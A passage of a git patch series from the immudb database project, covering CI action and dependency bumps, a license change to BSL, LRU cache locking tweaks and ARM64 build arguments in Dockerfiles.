github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= @@ -270,8 +270,8 @@ github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5 github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= -github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= -github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= +github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= +github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= github.com/subosito/gotenv v1.4.2 h1:X1TuBLAMDFbaTAChgCBLu3DU3UPyELpnF2jjJ2cz/S8= github.com/subosito/gotenv v1.4.2/go.mod h1:ayKnFf/c6rvx/2iiLrJUk1e6plDbT3edrFNGqEflhK0= github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= @@ -590,8 +590,8 @@ google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTp google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= -google.golang.org/grpc v1.57.0 h1:kfzNeI/klCGD2YPMUlaGNT3pxvYfga7smW3Vth8Zsiw= -google.golang.org/grpc v1.57.0/go.mod h1:Sd+9RMTACXwmub0zcNY2c4arhtrbBYD1AUHI/dt16Mo= +google.golang.org/grpc v1.57.1 h1:upNTNqv0ES+2ZOOqACwVtS3Il8M12/+Hz41RCPzAjQg= +google.golang.org/grpc v1.57.1/go.mod h1:Sd+9RMTACXwmub0zcNY2c4arhtrbBYD1AUHI/dt16Mo= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= From 7b89becf4d2bdbc967d02cb7bbb6ad9a6f9d02a6 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 14 Dec 2023 18:41:08 +0000 Subject: [PATCH 0970/1062] chore(deps): bump actions/download-artifact from 3 to 4 Bumps [actions/download-artifact](https://github.com/actions/download-artifact) from 3 to 4. - [Release notes](https://github.com/actions/download-artifact/releases) - [Commits](https://github.com/actions/download-artifact/compare/v3...v4) --- updated-dependencies: - dependency-name: actions/download-artifact dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] --- .github/workflows/performance.yml | 2 +- .github/workflows/push.yml | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index 52b177f942..afffd89733 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -99,7 +99,7 @@ jobs: - name: Download test results if: "${{ env.PERF_TEST_AWS_REGION }}" - uses: actions/download-artifact@v3 + uses: actions/download-artifact@v4 with: name: Performance Test Results (${{ matrix.target.name }}) diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index dd6c210edd..3fedc475af 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -93,7 +93,7 @@ jobs: qemu-binfmt: true runs-on: ${{ matrix.os }} steps: - - uses: actions/download-artifact@v3 + - uses: actions/download-artifact@v4 with: name: immudb-binaries path: dist @@ -149,7 +149,7 @@ jobs: runs-on: ubuntu-latest steps: - name: Download binary artifacts - uses: actions/download-artifact@v3 + uses: actions/download-artifact@v4 with: name: immudb-binaries path: dist @@ -206,7 +206,7 @@ jobs: JOB_ID: ${{ github.run_id }} steps: - name: Download binary artifacts - uses: actions/download-artifact@v3 + uses: actions/download-artifact@v4 with: name: immudb-binaries path: dist From 4bc7ace3bb5d0d63822a75e98fedcda535d59c31 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 27 Dec 2023 15:31:36 +0000 Subject: [PATCH 0971/1062] chore(deps): bump actions/upload-artifact from 3 to 4 Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 3 to 4. - [Release notes](https://github.com/actions/upload-artifact/releases) - [Commits](https://github.com/actions/upload-artifact/compare/v3...v4) --- updated-dependencies: - dependency-name: actions/upload-artifact dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] --- .github/workflows/performance.yml | 2 +- .github/workflows/pull.yml | 2 +- .github/workflows/push.yml | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index afffd89733..b5c3184b9d 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -62,7 +62,7 @@ jobs: env: GOMEMLIMIT: 7680MiB - name: Upload test results - uses: actions/upload-artifact@v3 + uses: actions/upload-artifact@v4 with: name: Performance Test Results (${{ matrix.target.name }}) path: perf-test-results.json diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index ba78d4a14a..0c06ab65bf 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -203,7 +203,7 @@ jobs: - run: go build -o perf-test-suite ./test/performance-test-suite/cmd/perf-test/ - run: ./perf-test-suite > perf-test-results.json - name: Upload test results - uses: actions/upload-artifact@v3 + uses: actions/upload-artifact@v4 with: name: Performance Test Results (${{ matrix.target.name }}) path: perf-test-results.json diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 3fedc475af..1665addd25 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -61,7 +61,7 @@ jobs: run: | echo "matrix=$(ls dist | jq -R -s -c 'split("\n")[:-1] | {binary: .}')" >> $GITHUB_OUTPUT - name: Upload binary artifacts - uses: actions/upload-artifact@v3 + uses: actions/upload-artifact@v4 with: name: immudb-binaries path: dist From fdeebf0994e2074398704be3c1cb4fc3a9ca9f47 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 6 Dec 2023 18:56:55 +0000 Subject: [PATCH 0972/1062] chore(deps): bump actions/setup-go from 3 to 5 Bumps [actions/setup-go](https://github.com/actions/setup-go) from 3 to 5. - [Release notes](https://github.com/actions/setup-go/releases) - [Commits](https://github.com/actions/setup-go/compare/v3...v5) --- updated-dependencies: - dependency-name: actions/setup-go dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] --- .github/workflows/performance.yml | 2 +- .github/workflows/pull.yml | 8 ++++---- .github/workflows/push-dev.yml | 2 +- .github/workflows/push.yml | 10 +++++----- .github/workflows/stress.yml | 2 +- 5 files changed, 12 insertions(+), 12 deletions(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index b5c3184b9d..b1c2f719aa 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -46,7 +46,7 @@ jobs: INFLUX_HOST: ${{ secrets.INFLUX_HOST }} INFLUX_TOKEN: ${{ secrets.INFLUX_TOKEN }} steps: - - uses: actions/setup-go@v3 + - uses: actions/setup-go@v5 with: go-version: ${{ inputs.go-version }} - uses: actions/checkout@v3 diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index 0c06ab65bf..daa35b3d35 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -34,7 +34,7 @@ jobs: runs-on: ${{ matrix.os }} steps: - - uses: actions/setup-go@v3 + - uses: actions/setup-go@v5 with: go-version: ${{ matrix.go }} @@ -120,7 +120,7 @@ jobs: name: Run Gosec Security Scanner runs-on: ubuntu-latest steps: - - uses: actions/setup-go@v3 + - uses: actions/setup-go@v5 with: go-version: ${{ env.GO_VERSION }} - uses: actions/checkout@v3 @@ -132,7 +132,7 @@ jobs: name: Coverage runs-on: ubuntu-latest steps: - - uses: actions/setup-go@v3 + - uses: actions/setup-go@v5 with: go-version: "1.18" - uses: actions/checkout@v3 @@ -196,7 +196,7 @@ jobs: name: Performance Test Suite (${{ matrix.target.name }}) runs-on: ${{ matrix.target.runs-on }} steps: - - uses: actions/setup-go@v3 + - uses: actions/setup-go@v5 with: go-version: "1.18" - uses: actions/checkout@v3 diff --git a/.github/workflows/push-dev.yml b/.github/workflows/push-dev.yml index 904f1e250f..0c0f85bb81 100644 --- a/.github/workflows/push-dev.yml +++ b/.github/workflows/push-dev.yml @@ -14,7 +14,7 @@ jobs: name: build and push runs-on: ubuntu-latest steps: - - uses: actions/setup-go@v3 + - uses: actions/setup-go@v5 with: go-version: ${{ env.GO_VERSION }} - uses: actions/checkout@v3 diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 1665addd25..32ad7f5de6 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -18,7 +18,7 @@ jobs: name: Ensure immudb compiles with the oldest supported go version runs-on: ubuntu-latest steps: - - uses: actions/setup-go@v3 + - uses: actions/setup-go@v5 with: go-version: ${{ env.MIN_SUPPORTED_GO_VERSION }} - uses: actions/checkout@v3 @@ -30,7 +30,7 @@ jobs: JOB_NAME: ${{ github.job }} JOB_ID: ${{ github.run_id }} steps: - - uses: actions/setup-go@v3 + - uses: actions/setup-go@v5 with: go-version: ${{ env.GO_VERSION }} - uses: actions/checkout@v3 @@ -51,7 +51,7 @@ jobs: outputs: matrix: ${{ steps.list-binaries.outputs.matrix }} steps: - - uses: actions/setup-go@v3 + - uses: actions/setup-go@v5 with: go-version: ${{ env.GO_VERSION }} - uses: actions/checkout@v3 @@ -157,7 +157,7 @@ jobs: run: chmod +x dist/*linux-amd64 - name: Run immudb in the background run: dist/immudb-*-linux-amd64 -d - - uses: actions/setup-go@v3 + - uses: actions/setup-go@v5 with: go-version: ${{ env.GO_VERSION }} - uses: actions/checkout@v3 @@ -299,7 +299,7 @@ jobs: - old-go runs-on: ubuntu-latest steps: - - uses: actions/setup-go@v3 + - uses: actions/setup-go@v5 with: go-version: ${{ env.GO_VERSION }} - uses: actions/checkout@v3 diff --git a/.github/workflows/stress.yml b/.github/workflows/stress.yml index 378de24589..071a0a00c0 100644 --- a/.github/workflows/stress.yml +++ b/.github/workflows/stress.yml @@ -11,7 +11,7 @@ jobs: runs-on: ubuntu-latest steps: - name: Setup runner for Go - uses: actions/setup-go@v3 + uses: actions/setup-go@v5 with: go-version: "1.18" - uses: actions/checkout@v3 From ac571ff6936a13cb21192898e8b5c8eb4cbda326 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Fri, 29 Dec 2023 09:06:30 +0100 Subject: [PATCH 0973/1062] Version bump --- CHANGELOG.md | 6 ++++++ Makefile | 2 +- helm/Chart.yaml | 4 ++-- 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 71351c7c76..68ad67df94 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,12 @@ All notable changes to this project will be documented in this file. This projec ## [Unreleased] + +## [v1.9DOM.1] - 2023-11-16 +### Changes +- License update to BSL +- Updated dependencies + ## [v1.9DOM.1] - 2023-11-16 ### Changes diff --git a/Makefile b/Makefile index 243261417f..a0da74abda 100644 --- a/Makefile +++ b/Makefile @@ -16,7 +16,7 @@ export GO111MODULE=on SHELL=/bin/bash -o pipefail -VERSION=1.9DOM.2-rc1 +VERSION=1.9DOM.2 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 diff --git a/helm/Chart.yaml b/helm/Chart.yaml index d1700e9603..d672de2587 100644 --- a/helm/Chart.yaml +++ b/helm/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: immudb description: The immutable database type: application -version: 1.9DOM.2-rc1 -appVersion: "1.9DOM.2-rc1" +version: 1.9DOM.2 +appVersion: "1.9DOM.2" From 65a25a5b71de2522d93ea0c5f5fc585c9a7a9f69 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Fri, 29 Dec 2023 20:18:19 +0100 Subject: [PATCH 0974/1062] Fix: license in readme --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index b288c761e2..705ebcad4b 100644 --- a/README.md +++ b/README.md @@ -323,6 +323,6 @@ Learn how to [build](BUILD.md) immudb components in both binary and Docker image To report bugs or get help, use [GitHub's issues](https://github.com/codenotary/immudb/issues). -immudb is licensed under the [Apache v2.0 License](LICENSE). +immudb is licensed under the [Business Source License 1.1](LICENSE). immudb re-distributes other open-source tools and libraries - [Acknowledgements](ACKNOWLEDGEMENTS.md). From d81804e06bc6ed65307a67aed1d6d790ff298e5d Mon Sep 17 00:00:00 2001 From: moshix Date: Fri, 16 Feb 2024 10:55:54 -0600 Subject: [PATCH 0975/1062] Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 705ebcad4b..89846f8cec 100644 --- a/README.md +++ b/README.md @@ -26,7 +26,7 @@ immudb!](https://img.shields.io/twitter/url/http/shields.io.svg?style=social&lab Don't forget to ⭐ this repo if you like immudb! -[:tada: 20M pulls from docker hub!](https://hub.docker.com/r/codenotary) +[:tada: 23M pulls from docker hub!](https://hub.docker.com/r/codenotary) --- @@ -36,7 +36,7 @@ Detailed documentation can be found at https://docs.immudb.io/ -immudb is a database with built-in cryptographic proof and verification. It tracks changes in sensitive data and the integrity of the history will be protected by the clients, without the need to trust the database. It can operate both as a key-value store, and/or as relational database (SQL). +immudb is a database with built-in cryptographic proof and verification. It tracks changes in sensitive data and the integrity of the history will be protected by the clients, without the need to trust the database. It can operate as a key-value store, as a document model database, and/or as relational database (SQL). Traditional database transactions and logs are mutable, and therefore there is no way to know for sure if your data has been compromised. immudb is immutable. You can add new versions of existing records, but never change or delete records. This lets you store critical data without fear of it being tampered. @@ -60,7 +60,7 @@ Click here to try out the immudb web console access in an [online demo environme | Topic | Description | | ----------------------- | -------------------------------------------------- | -| DB Model | Key-Value store with 3D access (tx-key-value), SQL | +| DB Model | Key-Value with 3D access, Document Model, SQL | | Data scheme | schema-free | | Implementation design | Cryptographic commit log with parallel Merkle Tree,| | | (sync/async) indexing with extended B-tree | From dac7c59e6477a7ab699159df8f664dd92193c12c Mon Sep 17 00:00:00 2001 From: Artur Melanchyk Date: Sun, 28 Jan 2024 12:58:44 +0100 Subject: [PATCH 0976/1062] chore(embedded/cache): validate input params before obtaining mutex lock Signed-off-by: Artur Melanchyk --- embedded/cache/lru_cache.go | 25 +++++++++++++------------ 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/embedded/cache/lru_cache.go b/embedded/cache/lru_cache.go index 1d843c1cb9..8415b00d32 100644 --- a/embedded/cache/lru_cache.go +++ b/embedded/cache/lru_cache.go @@ -64,13 +64,13 @@ func (c *LRUCache) Resize(size int) { } func (c *LRUCache) Put(key interface{}, value interface{}) (rkey interface{}, rvalue interface{}, err error) { - c.mutex.Lock() - defer c.mutex.Unlock() - if key == nil || value == nil { return nil, nil, ErrIllegalArguments } + c.mutex.Lock() + defer c.mutex.Unlock() + e, ok := c.data[key] if ok { @@ -110,13 +110,13 @@ func (c *LRUCache) evict() (rkey interface{}, rvalue interface{}, err error) { } func (c *LRUCache) Get(key interface{}) (interface{}, error) { - c.mutex.Lock() - defer c.mutex.Unlock() - if key == nil { return nil, ErrIllegalArguments } + c.mutex.Lock() + defer c.mutex.Unlock() + e, ok := c.data[key] if !ok { return nil, ErrKeyNotFound @@ -128,13 +128,13 @@ func (c *LRUCache) Get(key interface{}) (interface{}, error) { } func (c *LRUCache) Pop(key interface{}) (interface{}, error) { - c.mutex.Lock() - defer c.mutex.Unlock() - if key == nil { return nil, ErrIllegalArguments } + c.mutex.Lock() + defer c.mutex.Unlock() + e, ok := c.data[key] if !ok { return nil, ErrKeyNotFound @@ -146,12 +146,13 @@ func (c *LRUCache) Pop(key interface{}) (interface{}, error) { } func (c *LRUCache) Replace(k interface{}, v interface{}) (interface{}, error) { - c.mutex.Lock() - defer c.mutex.Unlock() - if k == nil { return nil, ErrIllegalArguments } + + c.mutex.Lock() + defer c.mutex.Unlock() + e, ok := c.data[k] if !ok { return nil, ErrKeyNotFound From b2bf20fd2910a1727a7b7e6b1fe15c0471019460 Mon Sep 17 00:00:00 2001 From: Artur Melanchyk Date: Sun, 28 Jan 2024 13:00:02 +0100 Subject: [PATCH 0977/1062] chore(embedded/cache): replace sync.Mutex with sync.RWMutex Signed-off-by: Artur Melanchyk --- embedded/cache/lru_cache.go | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/embedded/cache/lru_cache.go b/embedded/cache/lru_cache.go index 8415b00d32..15da39e94e 100644 --- a/embedded/cache/lru_cache.go +++ b/embedded/cache/lru_cache.go @@ -32,7 +32,7 @@ type LRUCache struct { lruList *list.List size int - mutex sync.Mutex + mutex sync.RWMutex } type entry struct { @@ -164,15 +164,15 @@ func (c *LRUCache) Replace(k interface{}, v interface{}) (interface{}, error) { } func (c *LRUCache) Size() int { - c.mutex.Lock() - defer c.mutex.Unlock() + c.mutex.RLock() + defer c.mutex.RUnlock() return c.size } func (c *LRUCache) EntriesCount() int { - c.mutex.Lock() - defer c.mutex.Unlock() + c.mutex.RLock() + defer c.mutex.RUnlock() return c.lruList.Len() } From d52619c6cb665db416415b38aadbe48fca4cb1e5 Mon Sep 17 00:00:00 2001 From: Artur Melanchyk Date: Mon, 5 Feb 2024 20:41:09 +0100 Subject: [PATCH 0978/1062] Revert "chore(embedded/cache): replace sync.Mutex with sync.RWMutex" This reverts commit 459b266177e422289690985099f4c9d92ff728ef. --- embedded/cache/lru_cache.go | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/embedded/cache/lru_cache.go b/embedded/cache/lru_cache.go index 15da39e94e..8415b00d32 100644 --- a/embedded/cache/lru_cache.go +++ b/embedded/cache/lru_cache.go @@ -32,7 +32,7 @@ type LRUCache struct { lruList *list.List size int - mutex sync.RWMutex + mutex sync.Mutex } type entry struct { @@ -164,15 +164,15 @@ func (c *LRUCache) Replace(k interface{}, v interface{}) (interface{}, error) { } func (c *LRUCache) Size() int { - c.mutex.RLock() - defer c.mutex.RUnlock() + c.mutex.Lock() + defer c.mutex.Unlock() return c.size } func (c *LRUCache) EntriesCount() int { - c.mutex.RLock() - defer c.mutex.RUnlock() + c.mutex.Lock() + defer c.mutex.Unlock() return c.lruList.Len() } From e293ab6cacffe91ab289abb284e2ce251c33e61c Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Fri, 1 Mar 2024 15:22:05 +0100 Subject: [PATCH 0979/1062] test with github token --- .github/workflows/pull.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index daa35b3d35..3dbb677966 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -158,7 +158,7 @@ jobs: # Stop minio docker rm -f minio env: - SECRET_TOKEN: ${{ secrets.COVERALLS_TOKEN }} + SECRET_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: Analyze with SonarCloud uses: sonarsource/sonarcloud-github-action@master env: From 776d42a45e520474932aa2af67bd9a933cef59fd Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Fri, 1 Mar 2024 17:26:22 +0100 Subject: [PATCH 0980/1062] test with sonar token --- .github/workflows/pull.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index 3dbb677966..ba9625f968 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -163,7 +163,7 @@ jobs: uses: sonarsource/sonarcloud-github-action@master env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - SONAR_TOKEN: ${{ secrets.SONAR_NEW_TOKEN }} + SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} performance-test-suite-detect-runners: runs-on: ubuntu-latest From c7265c67d1a9d52940822332da82e0d543a86547 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Fri, 1 Mar 2024 18:05:08 +0100 Subject: [PATCH 0981/1062] Revert "test with github token" This reverts commit 0c78cfe0d8fd7c13a40c67d2c5581080cdd914d5. --- .github/workflows/pull.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index ba9625f968..b419e388c1 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -158,7 +158,7 @@ jobs: # Stop minio docker rm -f minio env: - SECRET_TOKEN: ${{ secrets.GITHUB_TOKEN }} + SECRET_TOKEN: ${{ secrets.COVERALLS_TOKEN }} - name: Analyze with SonarCloud uses: sonarsource/sonarcloud-github-action@master env: From 063d41afe05f27e6748bea96f521bbc34b016223 Mon Sep 17 00:00:00 2001 From: Abdelkader Boudih Date: Sun, 18 Feb 2024 00:27:11 +0100 Subject: [PATCH 0982/1062] chore: Add support to ARM64 Signed-off-by: Abdelkader Boudih --- BUILD.md | 1 + Dockerfile | 3 ++- build/Dockerfile | 5 +++-- build/Dockerfile.alma | 5 +++-- build/Dockerfile.full | 5 +++-- build/Dockerfile.immuadmin | 3 ++- build/Dockerfile.immuclient | 3 ++- build/Dockerfile.rndpass | 5 +++-- build/e2e/Dockerfile | 1 + build/fips/Dockerfile | 3 ++- build/fips/Dockerfile.immuadmin | 3 ++- build/fips/Dockerfile.immuclient | 2 +- 12 files changed, 25 insertions(+), 14 deletions(-) diff --git a/BUILD.md b/BUILD.md index e1fcc3a22b..e2e4bf4e81 100644 --- a/BUILD.md +++ b/BUILD.md @@ -26,6 +26,7 @@ GOOS=linux GOARCH=amd64 make immuclient-static immuadmin-static immudb-static ``` ## MacOS (by component) +For Apple Silicon (M1) use `GOARCH=arm64` instead of `GOARCH=amd64` ```bash GOOS=darwin GOARCH=amd64 make immuclient-static immuadmin-static immudb-static diff --git a/Dockerfile b/Dockerfile index 5abf53592b..0bddcff4a7 100644 --- a/Dockerfile +++ b/Dockerfile @@ -13,6 +13,7 @@ # limitations under the License. FROM golang:1.18 as build +ARG BUILD_ARCH=amd64 WORKDIR /src COPY go.mod go.sum /src/ RUN go mod download -x @@ -21,7 +22,7 @@ RUN make clean RUN make prerequisites RUN make swagger RUN make swagger/dist -RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default SWAGGER=true make immudb-static immuadmin-static +RUN GOOS=linux GOARCH=${BUILD_ARCH} WEBCONSOLE=default SWAGGER=true make immudb-static immuadmin-static RUN mkdir /empty FROM scratch diff --git a/build/Dockerfile b/build/Dockerfile index e518bfe201..8ab4437af3 100644 --- a/build/Dockerfile +++ b/build/Dockerfile @@ -1,4 +1,5 @@ FROM golang:1.18 as build +ARG BUILD_ARCH=amd64 WORKDIR /src COPY go.mod go.sum /src/ RUN go mod download -x @@ -7,8 +8,8 @@ RUN make clean RUN make prerequisites RUN make swagger RUN make swagger/dist -RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default SWAGGER=true make immudb-static -RUN GOOS=linux GOARCH=amd64 make immuadmin-static +RUN GOOS=linux GOARCH=${BUILD_ARCH} WEBCONSOLE=default SWAGGER=true make immudb-static +RUN GOOS=linux GOARCH=${BUILD_ARCH} make immuadmin-static RUN mkdir /empty FROM debian:bullseye-slim as bullseye-slim diff --git a/build/Dockerfile.alma b/build/Dockerfile.alma index 82ee543636..faf4761bef 100644 --- a/build/Dockerfile.alma +++ b/build/Dockerfile.alma @@ -1,12 +1,13 @@ FROM golang:1.18 as build +ARG BUILD_ARCH=amd64 WORKDIR /src COPY . . RUN make clean RUN make prerequisites RUN make swagger RUN make swagger/dist -RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default SWAGGER=true make immudb-static -RUN GOOS=linux GOARCH=amd64 make immuadmin-static +RUN GOOS=linux GOARCH=${BUILD_ARCH} WEBCONSOLE=default SWAGGER=true make immudb-static +RUN GOOS=linux GOARCH=${BUILD_ARCH} make immuadmin-static RUN mkdir /empty FROM almalinux:8-minimal as alma diff --git a/build/Dockerfile.full b/build/Dockerfile.full index d21d594eb9..1935abe2c1 100644 --- a/build/Dockerfile.full +++ b/build/Dockerfile.full @@ -1,4 +1,5 @@ FROM golang:1.18 as build +ARG BUILD_ARCH=amd64 WORKDIR /src COPY go.mod go.sum /src/ RUN go mod download -x @@ -7,8 +8,8 @@ RUN make clean RUN make prerequisites RUN make swagger RUN make swagger/dist -RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default SWAGGER=true make immudb-static -RUN GOOS=linux GOARCH=amd64 make immuadmin-static immuclient-static +RUN GOOS=linux GOARCH=${BUILD_ARCH} WEBCONSOLE=default SWAGGER=true make immudb-static +RUN GOOS=linux GOARCH=${BUILD_ARCH} make immuadmin-static immuclient-static RUN mkdir /empty FROM debian:11.7-slim as bullseye-slim diff --git a/build/Dockerfile.immuadmin b/build/Dockerfile.immuadmin index 8cf6981f7b..05905cacfa 100644 --- a/build/Dockerfile.immuadmin +++ b/build/Dockerfile.immuadmin @@ -1,7 +1,8 @@ FROM golang:1.18 as build +ARG BUILD_ARCH=amd64 WORKDIR /src COPY . . -RUN GOOS=linux GOARCH=amd64 make immuadmin-static +RUN GOOS=linux GOARCH=${BUILD_ARCH} make immuadmin-static FROM debian:11.7-slim as bullseye LABEL org.opencontainers.image.authors="Codenotary Inc. " diff --git a/build/Dockerfile.immuclient b/build/Dockerfile.immuclient index 054b881828..7b124100f6 100644 --- a/build/Dockerfile.immuclient +++ b/build/Dockerfile.immuclient @@ -1,7 +1,8 @@ FROM golang:1.18 as build +ARG BUILD_ARCH=amd64 WORKDIR /src COPY . . -RUN GOOS=linux GOARCH=amd64 make immuclient-static +RUN GOOS=linux GOARCH=${BUILD_ARCH} make immuclient-static FROM debian:11.7-slim as bullseye LABEL org.opencontainers.image.authors="Codenotary Inc. " diff --git a/build/Dockerfile.rndpass b/build/Dockerfile.rndpass index 0ae1c8152a..045c1e853d 100644 --- a/build/Dockerfile.rndpass +++ b/build/Dockerfile.rndpass @@ -1,12 +1,13 @@ FROM golang:1.18 as build +ARG BUILD_ARCH=amd64 WORKDIR /src COPY . . RUN make clean RUN make prerequisites RUN make swagger RUN make swagger/dist -RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default SWAGGER=true make immudb-static -RUN GOOS=linux GOARCH=amd64 make immuadmin-static +RUN GOOS=linux GOARCH=${BUILD_ARCH} WEBCONSOLE=default SWAGGER=true make immudb-static +RUN GOOS=linux GOARCH=${BUILD_ARCH} make immuadmin-static FROM debian:11.7-slim LABEL org.opencontainers.image.authors="Codenotary Inc. " diff --git a/build/e2e/Dockerfile b/build/e2e/Dockerfile index be888ce9de..c6d60fea97 100644 --- a/build/e2e/Dockerfile +++ b/build/e2e/Dockerfile @@ -1,4 +1,5 @@ FROM golang:1.18 as build +ARG BUILD_ARCH=amd64 WORKDIR /src COPY go.mod go.sum /src/ RUN go mod download diff --git a/build/fips/Dockerfile b/build/fips/Dockerfile index 201a471701..c512220c47 100644 --- a/build/fips/Dockerfile +++ b/build/fips/Dockerfile @@ -1,11 +1,12 @@ # This version of Go is a Go+BoringCrypto release for FIPS 140-2 compliance FROM us-docker.pkg.dev/google.com/api-project-999119582588/go-boringcrypto/golang:1.18.5b7 as build-fips +ARG BUILD_ARCH=amd64 WORKDIR /src COPY go.mod go.sum /src/ RUN go mod download -x COPY . . RUN rm -rf /src/webconsole/dist -RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default make immuadmin-fips immudb-fips +RUN GOOS=linux GOARCH=${BUILD_ARCH} WEBCONSOLE=default make immuadmin-fips immudb-fips RUN mkdir /empty ### distroless FIPS 140-2 diff --git a/build/fips/Dockerfile.immuadmin b/build/fips/Dockerfile.immuadmin index 135ba79450..410c91dcf0 100644 --- a/build/fips/Dockerfile.immuadmin +++ b/build/fips/Dockerfile.immuadmin @@ -1,7 +1,8 @@ FROM us-docker.pkg.dev/google.com/api-project-999119582588/go-boringcrypto/golang:1.18.5b7 as build +ARG BUILD_ARCH=amd64 WORKDIR /src COPY . . -RUN GOOS=linux GOARCH=amd64 make immuadmin-fips +RUN GOOS=linux GOARCH=${BUILD_ARCH} make immuadmin-fips ### distroless FIPS 140-2 FROM gcr.io/distroless/base:nonroot AS distroless-fips diff --git a/build/fips/Dockerfile.immuclient b/build/fips/Dockerfile.immuclient index 16cbae66b4..7718ed52d3 100644 